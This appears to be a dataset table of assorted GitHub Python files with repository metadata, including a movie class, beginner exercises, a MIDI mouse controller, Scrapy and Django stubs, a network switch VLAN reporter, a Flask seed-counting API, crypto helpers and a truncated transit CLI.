blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 2
616
| content_id
stringlengths 40
40
| detected_licenses
listlengths 0
69
| license_type
stringclasses 2
values | repo_name
stringlengths 5
118
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringlengths 4
63
| visit_date
timestamp[us] | revision_date
timestamp[us] | committer_date
timestamp[us] | github_id
int64 2.91k
686M
⌀ | star_events_count
int64 0
209k
| fork_events_count
int64 0
110k
| gha_license_id
stringclasses 23
values | gha_event_created_at
timestamp[us] | gha_created_at
timestamp[us] | gha_language
stringclasses 213
values | src_encoding
stringclasses 30
values | language
stringclasses 1
value | is_vendor
bool 2
classes | is_generated
bool 2
classes | length_bytes
int64 2
10.3M
| extension
stringclasses 246
values | content
stringlengths 2
10.3M
| authors
listlengths 1
1
| author_id
stringlengths 0
212
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
29a1f4a44405742798afc88e3574090ae6e3b5b8
|
572113e8eb47bbf62e7b423d2ff566a1cd8d38d1
|
/media.py
|
67c38e014aa38deee88172152dc2dbdd5a0de6df
|
[] |
no_license
|
as2876/FSND-Python
|
8109ad3510a85f4c0531b6870b4f03fec0f0bf8a
|
ed3d3759ebef94fa9e7695a9541a83c9e8ab1e7f
|
refs/heads/master
| 2020-12-24T12:04:29.755301
| 2015-05-20T21:12:21
| 2015-05-20T21:12:21
| 35,929,317
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 822
|
py
|
import webbrowser
"""This class provides a way to store movie related information."""
class Movie(object):
VALID_RATINGS = ("G", "PG", "PG-13", "R")
def __init__(self,
movie_title,
poster_image,
trailer_youtube,
year_made,
runtime,
rating,
mythoughts
):
self.title = movie_title
self.poster_image_url = poster_image
self.trailer_youtube_url = trailer_youtube
self.year_made = year_made
self.runtime =("{:0>2d}".format(runtime/60)
+":"+"{:0>2d}".format(runtime - runtime/60*60))
self.rating = rating
self.mythoughts = mythoughts
def show_trailer(self):
webbrowser.open(self.trailer_youtube_url)
|
[
"as2876@users.noreply.github.com"
] |
as2876@users.noreply.github.com
|
e155344e9148c6784b44e761fba607ede0c609b5
|
b733b432933fa5976ac39cc78983f4d998b0df98
|
/indentation.py
|
a3a32d6410259af5df745462c85a23ec9845ac6a
|
[
"MIT"
] |
permissive
|
omar19-meet/meet2017y1lab4
|
ea471ec94dd22d37be3d7b0974caa911a84e08a5
|
d515753c079abc13f2210ab631df9f8909e92d01
|
refs/heads/master
| 2020-12-02T11:33:49.433401
| 2017-07-26T09:22:59
| 2017-07-26T09:22:59
| 96,651,523
| 0
| 0
| null | 2017-07-09T00:23:08
| 2017-07-09T00:23:07
| null |
UTF-8
|
Python
| false
| false
| 102
|
py
|
indentation=False
if indentation:
print('chocolate')
print('Indentations are cool!')
|
[
"omar19@meet.mit.edu"
] |
omar19@meet.mit.edu
|
e46b64996e9e1aa34e14b2f5e6632b22d719aca6
|
d118d8e12c01c3b2bd5e1c15976ce07e81549384
|
/harry_py/control/if_else_7.py
|
fc29e529770f0b9fa85a9e55a0b67da247216ca7
|
[] |
no_license
|
Amankhalsa/Aman_code-html-php-python
|
c5fc812f79cfd875cc515fe541ab0ca26efc91cf
|
657bfda2a6377c67f13c30daa3790b93a23dfa3d
|
refs/heads/main
| 2023-08-30T20:55:37.345290
| 2021-07-06T09:15:37
| 2021-07-06T09:15:37
| 374,629,141
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 481
|
py
|
# from typing import List
# var1=4
# var2=57
# var3=int(input("enter value:"))
# if var3>var2:
# print("grater")
# elif var3==var2:
# print("equal")
# else:
# print("lesser ")
# list1=[1,2,3,4,5]
# if 4 in list1:
# print("yes in the list")
# if 16 not in list1:
# print("Not in list ")
# my excersice
age= int(input("enter age :"))
if age >18:
print("you can drive ")
elif age==18:
print("we will decide ")
else:
print("you can't drive ")
|
[
"amansin31@gmail.com"
] |
amansin31@gmail.com
|
fa8d20c0f8081fc2400161bdd40523aa3911fe0f
|
8776c9fe065ba24c73fd92e85ea97cf8dcde699b
|
/init.py
|
f07135bc36fa01230a6c4d3f4dabf6fe273cb19b
|
[] |
no_license
|
citin/midi-vc
|
9712b1bf777ea68ecb25222c2416d8ac5b116ce4
|
53b9d19eaa6cda3f5c18b6327dbbe8f96b481ebb
|
refs/heads/master
| 2020-03-11T00:11:16.128222
| 2018-04-15T22:49:02
| 2018-04-15T22:49:02
| 129,657,559
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 784
|
py
|
import mido
# inport = mido.open_input('OpenInput', virtual=True)
outport = mido.open_output('AndresVirtualInstrument', virtual=True)
from mido import Message
msg1 = Message('note_on', note=60)
msg2 = Message('note_on', note=62)
from pynput import mouse
from time import sleep
from threading import Thread
def stop_note_async(x, y):
sleep(1)
outport.send(Message('note_off', note=int(x), velocity=int(y)))
def on_move(x, y):
if (1 <= int(x) <= 127) & (1 <= int(y) <= 127):
outport.send(Message('note_on', note=int(x), velocity=int(y)))
subproceso = Thread(target=stop_note_async, args=(x, y))
subproceso.start()
# Collect events until released
with mouse.Listener(
on_move=on_move,
) as listener:
listener.join()
|
[
"cito.bernardi@gmail.com"
] |
cito.bernardi@gmail.com
|
542a1e1eb80ff1947e2891b4c824b7641646699c
|
eb868f4cac20e84ddd9441e71b1ef3c4f25e11d4
|
/lvtuso/scrape/items.py
|
d223218f59c1e3f0183df393d1de854f1ae6b1b7
|
[] |
no_license
|
nanfang/lvtuso
|
bdabf8c327094e54211323d0912ece19ff364a8d
|
e06aa4cef30bf59b5825b91e55c475548065b027
|
refs/heads/master
| 2022-08-22T01:05:55.670995
| 2012-08-03T14:59:40
| 2012-08-03T14:59:40
| 4,359,801
| 0
| 0
| null | 2022-07-29T22:27:49
| 2012-05-17T15:16:22
|
Python
|
UTF-8
|
Python
| false
| false
| 373
|
py
|
# Define here the models for your scraped items
#
# See documentation in:
# http://doc.scrapy.org/topics/items.html
from scrapy.item import Item, Field
class MafengwoPlace(Item):
id = Field()
name = Field()
hot = Field()
lat = Field()
lng = Field()
level = Field()
rating = Field()
tags = Field()
p_id = Field()
p_level = Field()
|
[
"nanfang05@gmail.com"
] |
nanfang05@gmail.com
|
823410ba82329f61657526974a8cce78acd8b00b
|
ff548fbc1bdb0c024c4f1a4a603158a1ba7a6f2e
|
/GetVLAN.py
|
c3cfdc6e145a8353e3dc85154a1a210bc618bb83
|
[] |
no_license
|
cairey88/ArubaGetVLAN
|
b866272cc81505736381ed92f51768d0fcebcd42
|
0bca7fb998b51bdeb5d71e8132f09cd1d9febe79
|
refs/heads/master
| 2020-03-21T15:37:46.564883
| 2018-06-26T12:54:06
| 2018-06-26T12:54:06
| 138,723,558
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,127
|
py
|
#import modules
import netmiko
import sys
import re
import time
from netmiko import ConnectHandler
from getpass import getpass
#Prompt user for device input
ipaddress = input("Enter switch IP: ")
username = input("Enter switch username: ")
password = getpass()
#Start Timer
count = 0
start = time.time()
#Connect to each device
net_connect = ConnectHandler(device_type='hp_procurve', ip=ipaddress, username=username, password=password, global_delay_factor=2)
#find prompt and remove hash, save as name variable
name = net_connect.find_prompt() [:-1]
#declare variables
carriagereturn = " "
command = "sh int"
#send commannds to switch
net_connect.send_command(carriagereturn)
results = net_connect.send_command(command)
#Split result into list
lines = results.splitlines()
#function to find numbers
def hasNumbers(inputString):
return any(char.isdigit() for char in inputString)
#create empty list
portlist = []
#If line contains a number take the first number of each line and add to port list.
for line in lines:
if hasNumbers(line):
fields = line.strip().split()
portlist.append(fields[0])
#filename = name of switch + csv
filename = name+".csv"
#Open file
f = open(filename,'w')
#Write headers
f.write("Port,VLANS \n")
#for each line in list
for port in portlist:
#write port number
f.write(port+",")
#Check for trunks, if Trk in port split on - and take trailing text
if "Trk" in port:
port = port.split("-")[1]
#send command
commandvlan="sh vlans ports "+port+" detail"
#Ssve result
result = net_connect.send_command(commandvlan)
#Print to screen
print("port "+port+ " complete")
#Split result into list, if tagged in result write VLAN to file
for line in result.splitlines():
if "Tagged" in line:
fields = line.strip().split()
f.write(fields[0]+",")
#If untagged in list print VLAN and Untagged to file
elif "Untagged" in line:
fields = line.strip().split()
f.write(fields[0]+" Untagged,")
#Do the same as above for none trunk ports
else:
commandvlan="sh vlans ports "+port+" detail"
result = net_connect.send_command(commandvlan)
print("port "+port+ " analysed")
for line in result.splitlines():
if "Tagged" in line:
fields = line.strip().split()
f.write(fields[0]+",")
elif "Untagged" in line:
fields = line.strip().split()
f.write(fields[0]+" Untagged,")
f.write("\n")
#Add to count each time ran
count +=1
#Close connection to switch
net_connect.disconnect()
#Closef ile
f.close()
#End timer
end = time.time()
#Print time
time = (end - start)
timeint = int(time)
print("COMPLETED " + str(count) + " ports analysed in " + str(timeint) + " seconds")
|
[
"info@christopherairey.co.uk"
] |
info@christopherairey.co.uk
|
65bb1a1db096463741ab31584cd9c2ec1f9288d2
|
bbeb21f24553cd808eb53248efdb0f7ef1daf973
|
/ruminate/ruminate/migrations/0003_auto_20171202_1521.py
|
be4e795e16ee51f5894c4c6df21afbd1d124e86a
|
[] |
no_license
|
yashsahota/YHacks
|
5d7291358334568b5e1369e7b8e0796a105962de
|
9581aacf9a8b737ae19ba00e5a74bf89c3ae753a
|
refs/heads/master
| 2021-09-22T09:17:38.395400
| 2018-09-07T03:55:47
| 2018-09-07T03:55:47
| 112,816,463
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,558
|
py
|
# -*- coding: utf-8 -*-
# Generated by Django 1.11.7 on 2017-12-02 15:21
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('ruminate', '0002_auto_20171202_0938'),
]
operations = [
migrations.CreateModel(
name='Course',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=200)),
],
),
migrations.CreateModel(
name='Office_Hours',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('start_time', models.DateTimeField()),
('end_time', models.DateTimeField()),
('is_live', models.BooleanField(default=False)),
('course', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='ruminate.Course')),
],
),
migrations.CreateModel(
name='Question',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('content', models.CharField(max_length=1024)),
('time_created', models.DateTimeField(auto_now=True)),
('is_answered', models.BooleanField(default=False)),
('office_hour', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='ruminate.Office_Hours')),
],
),
migrations.CreateModel(
name='User',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=200)),
('email', models.CharField(max_length=200)),
('course_enrolled', models.ManyToManyField(related_name='_user_course_enrolled_+', to='ruminate.Course')),
('course_teaching', models.ManyToManyField(related_name='_user_course_teaching_+', to='ruminate.Course')),
],
),
migrations.DeleteModel(
name='Teacher',
),
migrations.AddField(
model_name='office_hours',
name='teaching_assistant',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='ruminate.User'),
),
]
|
[
"yashsahota@icloud.com"
] |
yashsahota@icloud.com
|
d7f7bb4028b5479b15a7462cc249c4f4351e69e0
|
4643aa963765d4326f90f6b8bb20045471588e5d
|
/iridium/plugins/nova/__init__.py
|
31d21b017172b4c7cdec3f124d032a77f624b02b
|
[
"Apache-2.0"
] |
permissive
|
subecho/Iridium
|
552bc5ad2336f9be6e899fe8200bf343b4d6ed12
|
b843ec3a4a61adbfccc758a175977ac1cd53a869
|
refs/heads/master
| 2021-01-12T21:38:22.203185
| 2015-10-26T21:28:41
| 2015-10-26T21:28:41
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 378
|
py
|
class NovaPlugin(type):
def __init__(cls, name, bases, what):
super().__init__(what)
if not hasattr(cls, 'registry'):
cls.registry = set()
else:
cls.registry.add(cls)
cls.registry -= set(bases)
def __iter__(cls):
"""
:param cls:
:return:
"""
return iter(cls.registry)
|
[
"tdunnon@gmail.com"
] |
tdunnon@gmail.com
|
41b88f035d338d2b876e73b428b2e84e99857bbf
|
8927e0034bc061c19c1af16fadd94775c9b51e52
|
/pyscrapy_exercise/biqvkan/biqvkan/spiders/biqv.py
|
8f36cd0aa97be09e1b58e30be15f8980b1aedfb8
|
[] |
no_license
|
secure-zhang/learngit
|
ff3bba4f348020847d4532597e2c13c099e47f8f
|
a729fc4b99086438d5e1a74c47bf483361106314
|
refs/heads/master
| 2020-03-19T06:22:01.879726
| 2018-07-16T15:08:30
| 2018-07-16T15:08:30
| 136,013,125
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 223
|
py
|
# -*- coding: utf-8 -*-
import scrapy
class BiqvSpider(scrapy.Spider):
name = 'biqv'
allowed_domains = ['www.biqukan.com']
start_urls = ['http://www.biqukan.com/']
def parse(self, response):
pass
|
[
"17635035787@163.com"
] |
17635035787@163.com
|
5b10299c57fc53babedf9ab74d0eac4e956a4b22
|
444a9480bce2035565332d4d4654244c0b5cd47b
|
/research/recommend/ncf/src/callbacks.py
|
317609a1d107a4377e1ea3f29175925f5f0339ed
|
[
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference",
"LicenseRef-scancode-proprietary-license"
] |
permissive
|
mindspore-ai/models
|
7ede9c6454e77e995e674628204e1c6e76bd7b27
|
eab643f51336dbf7d711f02d27e6516e5affee59
|
refs/heads/master
| 2023-07-20T01:49:34.614616
| 2023-07-17T11:43:18
| 2023-07-17T11:43:18
| 417,393,380
| 301
| 92
|
Apache-2.0
| 2023-05-17T11:22:28
| 2021-10-15T06:38:37
|
Python
|
UTF-8
|
Python
| false
| false
| 1,564
|
py
|
# Copyright 2020 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================================
"""Callbacks file"""
from mindspore.train.callback import Callback
class EvalCallBack(Callback):
"""
Monitor the loss in evaluate.
"""
def __init__(self, model, eval_dataset, metric, eval_file_path="./eval.log"):
super(EvalCallBack, self).__init__()
self.model = model
self.eval_dataset = eval_dataset
self.metric = metric
self.metric.clear()
self.eval_file_path = eval_file_path
self.run_context = None
def epoch_end(self, run_context):
self.run_context = run_context
self.metric.clear()
out = self.model.eval(self.eval_dataset)
eval_file = open(self.eval_file_path, "a+")
eval_file.write("EvalCallBack: HR = {}, NDCG = {}\n".format(out['ncf'][0], out['ncf'][1]))
eval_file.close()
print("EvalCallBack: HR = {}, NDCG = {}".format(out['ncf'][0], out['ncf'][1]))
|
[
"chenhaozhe1@huawei.com"
] |
chenhaozhe1@huawei.com
|
4bc4453d2fe97b44145676ea5811d538a6d710a2
|
73eaa6b71f4ac8831b2e4249de042a33b364f2ba
|
/powonline/schema.py
|
7fc1fa92cb3388e17b5ea99beddf1744adfad130
|
[
"MIT"
] |
permissive
|
exhuma/powonline
|
d154e8b0bd14a1dbd2e394a23c158ebbfa3e64c8
|
87c211fa6cf9708bdf3fc4b736f3cca450c0a290
|
refs/heads/develop
| 2023-06-08T09:54:20.293139
| 2023-05-25T12:30:14
| 2023-05-25T12:30:14
| 92,521,594
| 0
| 1
| null | 2017-06-27T16:24:54
| 2017-05-26T15:00:15
|
Python
|
UTF-8
|
Python
| false
| false
| 2,881
|
py
|
from dateutil.parser import parse
from marshmallow import Schema, fields # type: ignore
class FuzzyDate(fields.Field):
def _serialize(self, value, attr, obj):
"""
Convert a Python object into an outside-world object
"""
if not value:
return None
return value.isoformat()
def _deserialize(self, value, attr, obj):
"""
Convert a outside-world value into a Python object
"""
if not value:
return None
return parse(value)
class TeamSchema(Schema):
name = fields.String(required=True)
email = fields.Email()
order = fields.Int()
cancelled = fields.Boolean(default=False)
contact = fields.String()
phone = fields.String()
comments = fields.String()
is_confirmed = fields.Boolean(default=False)
confirmation_key = fields.String()
accepted = fields.Boolean(default=False)
completed = fields.Boolean(default=False)
inserted = fields.LocalDateTime(missing=None)
updated = fields.LocalDateTime(allow_none=True)
num_vegetarians = fields.Int(allow_none=True)
num_participants = fields.Int(allow_none=True)
planned_start_time = FuzzyDate(allow_none=True)
effective_start_time = FuzzyDate(allow_none=True)
finish_time = FuzzyDate(allow_none=True)
route_name = fields.String(missing=None)
class StationSchema(Schema):
name = fields.String(required=True)
contact = fields.String()
phone = fields.String()
is_start = fields.Boolean(default=False)
is_end = fields.Boolean(default=False)
order = fields.Int(missing=500, default=500)
class RouteSchema(Schema):
name = fields.String(required=True)
color = fields.String(missing=None)
class UserSchema(Schema):
name = fields.String(required=True)
password = fields.String()
email = fields.String()
inserted = fields.DateTime()
updated = fields.DateTime()
email = fields.Str()
active = fields.Bool()
confirmed_at = fields.DateTime()
avatar_url = fields.String()
class RoleSchema(Schema):
name = fields.String(required=True)
class JobSchema(Schema):
action = fields.String(required=True)
args = fields.Dict(required=True)
def make_list_schema(item_schema, exclude=None):
exclude = exclude or []
class ListSchema(Schema):
items = fields.Nested(item_schema, many=True, exclude=exclude)
return ListSchema()
ROLE_SCHEMA = RoleSchema()
ROUTE_SCHEMA = RouteSchema()
STATION_SCHEMA = StationSchema()
TEAM_SCHEMA = TeamSchema()
USER_SCHEMA = UserSchema()
USER_SCHEMA_SAFE = UserSchema(exclude=["password"])
JOB_SCHEMA = JobSchema()
TEAM_LIST_SCHEMA = make_list_schema(TeamSchema)
STATION_LIST_SCHEMA = make_list_schema(StationSchema)
ROUTE_LIST_SCHEMA = make_list_schema(RouteSchema)
USER_LIST_SCHEMA = make_list_schema(UserSchema, exclude=["password"])
|
[
"michel@albert.lu"
] |
michel@albert.lu
|
b84391dccdd839dd39b4d668043ec5300016bb44
|
4be629b90704ba7bcb5ede04316ec522bbe84997
|
/mylearn/migrations/0006_auto_20190403_1950.py
|
6ba206480a3e403d2002704d633c2457206a21c3
|
[] |
no_license
|
hghgobi/mytest
|
4fdf81427052c51fb566739a96606032de39a4a0
|
404b7ffd1a9c02167a15867505d0de6df912aee5
|
refs/heads/master
| 2022-12-08T07:50:26.821351
| 2021-04-22T00:36:09
| 2021-04-22T00:36:09
| 175,358,229
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 542
|
py
|
# Generated by Django 2.1.7 on 2019-04-03 19:50
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('mylearn', '0005_searchstudentid'),
]
operations = [
migrations.AddField(
model_name='classnotes',
name='readed_num',
field=models.IntegerField(default=0),
),
migrations.AlterField(
model_name='searchstudentid',
name='phone',
field=models.BigIntegerField(),
),
]
|
[
"569258059@qq.com"
] |
569258059@qq.com
|
c54240d1402a38da9d0a57f039c2bee7420a4916
|
b02c46e92103c12f1f82a5527ae15ffde866344f
|
/main.py
|
8855c550e8efaeb86cbf83ec42687ecafb7f2df2
|
[] |
no_license
|
rama333/sunflower
|
a6f23efd4238ef7782b560229fc906231dbdc356
|
7e8d9dc501577afc070c696e2914e7fdff57c13c
|
refs/heads/master
| 2023-09-03T05:34:57.551865
| 2021-11-13T13:22:41
| 2021-11-13T13:22:41
| 427,671,562
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,275
|
py
|
from flask import Flask, jsonify, request
from flask_cors import CORS
from os.path import join, dirname, realpath
from werkzeug.utils import secure_filename
import cv2
import numpy as np
import json
UPLOADS_PATH = join(dirname(realpath(__file__)), 'static\\img')
app = Flask(name)
CORS(app)
@app.route("/api/sunflower", methods=['POST'])
def sunflower():
if request.files['image'].filename != '':
image = request.files['image']
image.save(os.path.join(UPLOADS_PATH, secure_filename(image.filename)))
img = cv2.imread(os.path.join(UPLOADS_PATH, secure_filename(image.filename)), 0)
cimg = cv2.cvtColor(img, cv2.COLOR_GRAY2BGR)
circles = cv2.HoughCircles(img, cv2.HOUGH_GRADIENT, 1, 5,
param1=118, param2=8, minRadius=0, maxRadius=7)
circles = np.uint16(np.around(circles))
for i in circles[0, :]:
cv2.circle(cimg, (i[0], i[1]), i[2], (0, 255, 0), 1)
cv2.circle(cimg, (i[0], i[1]), 2, (0, 0, 255), 1)
return jsonify({
"count_seeds": circles.shape
})
else:
return jsonify({
"error": "bad request / not image"
})
if name == 'main':
app.run()
print("Server listening on port 5000")
|
[
"ramilramilev@MacBook-Ramil.local"
] |
ramilramilev@MacBook-Ramil.local
|
932164d56577805db3457dacf8de4b3a7435707b
|
aa3b3f54940855dd9c1329c46f821213aa646129
|
/CodeguideSource/resources/Whoosh-2.4.1/tests/test_compound.py
|
01ebcbfad214c3e9c1df338be02426b9fcc72c70
|
[
"LicenseRef-scancode-unknown-license-reference",
"BSD-2-Clause",
"BSD-2-Clause-Views"
] |
permissive
|
lingz/codeguide
|
b94c0e74e6654737ad31cf94c7df972dedd0fca1
|
3aff49fb2ddf82968500d6d73e4423b727187260
|
refs/heads/master
| 2020-04-23T02:46:28.844602
| 2013-05-15T18:42:15
| 2013-05-15T18:42:15
| 9,670,195
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,825
|
py
|
from __future__ import with_statement
from nose.tools import assert_equal # @UnresolvedImport
from whoosh.compat import b
from whoosh.support.testing import TempStorage
from whoosh.filedb.compound import CompoundStorage
from whoosh.filedb.filestore import RamStorage
def _test_simple_compound(st):
alist = [1, 2, 3, 5, -5, -4, -3, -2]
blist = [1, 12, 67, 8, 2, 1023]
clist = [100, -100, 200, -200]
with st.create_file("a") as af:
for x in alist:
af.write_int(x)
with st.create_file("b") as bf:
for x in blist:
bf.write_varint(x)
with st.create_file("c") as cf:
for x in clist:
cf.write_int(x)
f = st.create_file("f")
CompoundStorage.assemble(f, st, ["a", "b", "c"])
f = CompoundStorage(st, "f")
with f.open_file("a") as af:
for x in alist:
assert_equal(x, af.read_int())
assert_equal(af.read(), b(''))
with f.open_file("b") as bf:
for x in blist:
assert_equal(x, bf.read_varint())
assert_equal(bf.read(), b(''))
with f.open_file("c") as cf:
for x in clist:
assert_equal(x, cf.read_int())
assert_equal(cf.read(), b(''))
def test_simple_compound_mmap():
with TempStorage("compound") as st:
assert st.supports_mmap
_test_simple_compound(st)
def test_simple_compound_nomap():
st = RamStorage()
_test_simple_compound(st)
#def test_unclosed_mmap():
# with TempStorage("unclosed") as st:
# assert st.supports_mmap
# with st.create_file("a") as af:
# af.write("alfa")
# with st.create_file("b") as bf:
# bf.write("bravo")
# f = st.create_file("f")
# CompoundStorage.assemble(f, st, ["a", "b"])
#
# f = CompoundStorage(st, "f")
|
[
"lz781@nyu.edu"
] |
lz781@nyu.edu
|
4df3ce38b7d5b1a02e730dbf153efabc86c57857
|
9378187c61a4dfc9802c17baee6173a2caa6c439
|
/tests/test_util.py
|
754f3b607e0734399c38d4e8520ef887b9e34f32
|
[
"MIT"
] |
permissive
|
nijibabulu/moduledev
|
788edbc4dfbd3184afb9319ce496a4459a92adb7
|
2268a03ac3945c5d53ca994cefd600e14e82bc95
|
refs/heads/master
| 2021-07-05T00:57:37.947176
| 2020-02-24T21:00:52
| 2020-02-24T21:00:52
| 235,235,333
| 0
| 0
| null | 2021-04-20T19:21:30
| 2020-01-21T01:55:27
|
Python
|
UTF-8
|
Python
| false
| false
| 900
|
py
|
import os
import stat
import moduledev
def test_version_key():
assert moduledev.version_key("1.2.0") > moduledev.version_key("0.2.5")
assert moduledev.version_key("1.2.0b") > moduledev.version_key("1.2.0a")
assert moduledev.version_key("b") > moduledev.version_key("a")
def test_writeable_dir(tmpdir):
assert not moduledev.writeable_dir(tmpdir / "test")
with open(tmpdir / "file", "w") as f:
f.write("text")
assert not moduledev.writeable_dir(tmpdir / "file")
os.mkdir(tmpdir / "test")
os.chmod(tmpdir / "test", stat.S_IRUSR)
assert not moduledev.writeable_dir(tmpdir / "test")
def test_valid_version():
assert not moduledev.valid_version("b1.0")
def test_package_name():
assert moduledev.valid_package_name("abc1234-_")
assert not moduledev.valid_package_name("abc1234 ")
assert not moduledev.valid_package_name("abc*&%^*&%1234")
|
[
"robert.zimmermann@univie.ac.at"
] |
robert.zimmermann@univie.ac.at
|
fb8684b95ddd249500e3a7b77cbe546b8b011d1f
|
10298aa755fe53029438d5bc3392e907020b18f7
|
/crypt_utils.py
|
d7cb6d4408a115c78f28e71c6e6804ad5936a680
|
[] |
no_license
|
tiginamaria/crypto
|
257127cb390b68ce4fd24d5eb24aba484d23e397
|
10847a2f88d34eddc9079bc8849af44089ecec25
|
refs/heads/main
| 2023-03-23T14:37:06.746570
| 2021-03-12T05:35:09
| 2021-03-12T05:35:09
| 330,205,323
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,578
|
py
|
def pad(text, d=8):
b = d - (len(text) % d)
return text + b * chr(0)
def unpad(text, d=8):
b = ord(text[-1])
return text[:-b]
def bits_to_int(bits) -> int:
return int(''.join([str(x) for x in bits]), 2)
def text_to_bits(text) -> []:
bits = []
for char in text:
bits += char_to_bits(char, 8)
return bits
def int_to_bits(x, bits):
return list(map(int, list(format(x, 'b').zfill(bits))))
def char_to_bits(value, size) -> []:
bits = (bin(value)[2:] if isinstance(value, int) else bin(ord(value))[2:]).zfill(size)
return [int(bit) for bit in bits]
def bits_to_text(bits):
text = ''.join([chr(int(y, 2)) for y in [''.join([str(x) for x in byte]) for byte in split(bits, 8)]])
return text
def split(array, n) -> []:
return [array[i:i + n] for i in range(0, len(array), n)]
def merge(arrays) -> []:
result = []
for array in arrays:
result += array
return result
def shift(array, n) -> []:
return array[n:] + array[:n]
def xor(a1, a2) -> []:
return [x ^ y for x, y in zip(a1, a2)]
def add(array1, array2) -> []:
result = []
extra = 0
for a1, a2 in reversed(list(zip(array1, array2))):
r = a1 + a2 + extra
result.append(r % 2)
extra = r // 2
return list(reversed(result))
def to_int(array):
return int(''.join([str(x) for x in array]), 2)
def shuffle(array, matrix) -> []:
j = to_int(array)
return [int(bit) for bit in bin(matrix[j])[2:].zfill(4)]
def apply(array, matrix):
return [array[i - 1] for i in matrix]
|
[
"tiginamaria@gmail.com"
] |
tiginamaria@gmail.com
|
66f04a7b3a3c05bbcb0f85871b938de87a476a45
|
98dfb9a18db055e41a552d7426f712a642e0c3a6
|
/lms/OLD MIGRATIONS/migrations/0001_initial.py
|
6d8f66a166abeb529ffe099407e2992726a51356
|
[] |
no_license
|
anugeorge123/Leave_management
|
98b93af4db4be8bdbcde517e6d50422d9f54c5cf
|
b0572eafaad2820139449c7a1efe0cbd6dea5236
|
refs/heads/master
| 2020-08-03T14:34:10.696026
| 2019-09-30T06:35:19
| 2019-09-30T06:35:19
| 211,787,428
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,577
|
py
|
# Generated by Django 2.2.2 on 2019-08-20 05:08
from django.db import migrations, models
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Leaveapply',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('emp_name', models.CharField(max_length=100)),
('l_type', models.CharField(max_length=100)),
('l_days', models.CharField(max_length=100)),
('l_from', models.DateField(default=django.utils.timezone.now, max_length=30)),
('l_to', models.DateField(default=django.utils.timezone.now, max_length=30)),
('l_status', models.CharField(max_length=100)),
],
options={
'db_table': 'leaveapply',
},
),
migrations.CreateModel(
name='Leavemngt',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('designation', models.CharField(default='0', max_length=50)),
('uname', models.CharField(default='0', max_length=50)),
('pwd', models.CharField(default='0', max_length=20)),
('cpwd', models.CharField(default='0', max_length=20)),
],
options={
'db_table': 'leavemngt',
},
),
]
|
[
"noreply@github.com"
] |
anugeorge123.noreply@github.com
|
820b6a7b49b777698bd24ae730a5fad1e0a30192
|
e122eaee76d7350ab6b3f3876032c7af1797cbbb
|
/muni.py
|
fe41d926b59f1c41b39c81abe35b0a6fee419bf6
|
[] |
no_license
|
albertfilice/muni_python
|
ca0fdbef4b43df9c7142e25d83067f028d05774b
|
f12d426e7b936371624e62a6caac4135f8842868
|
refs/heads/master
| 2021-01-10T14:27:12.640639
| 2016-02-17T20:22:19
| 2016-02-17T20:22:19
| 51,403,474
| 0
| 0
| null | 2016-02-10T00:33:10
| 2016-02-09T22:02:34
|
Python
|
UTF-8
|
Python
| false
| false
| 306,990
|
py
|
# -*- coding: UTF-8
from subprocess import check_output
import platform
import sys
import argparse
import requests
import xml.etree.ElementTree as ET
# Set up the OS variable
if platform.system() == "Windows":
operating_system = "Windows"
elif platform.system() == "Darwin":
operating_system = "OSX"
elif platform.system() == "Linux":
operating_system = "Linux"
parser = argparse.ArgumentParser()
parser.add_argument("-d", "--debug", help="Add extra output to help debug a problem", action="store_true")
parser.add_argument("-e", "--emoji", help="Turn emoji output on", action="store_true")
parser.add_argument("--list-agencies", help="List all the agencies and exit", action="store_true")
parser.add_argument("--list-routes", help="List all the routes for a specified agency")
parser.add_argument("--list-stops", help="List all the stops for a route: <Agency>~<RouteCode>~<Direction> (eg: SF-MUNI~1-California~Inbound)")
parser.add_argument("--list-times-code", help="List the next departure times by stop code")
parser.add_argument("--list-times", help="List the next departure times by agency and stop name: <Agency>~<StopName> (eg: SF-MUNI~Judah St and 23rd Ave)")
# Group the location options so only one can be used at a time
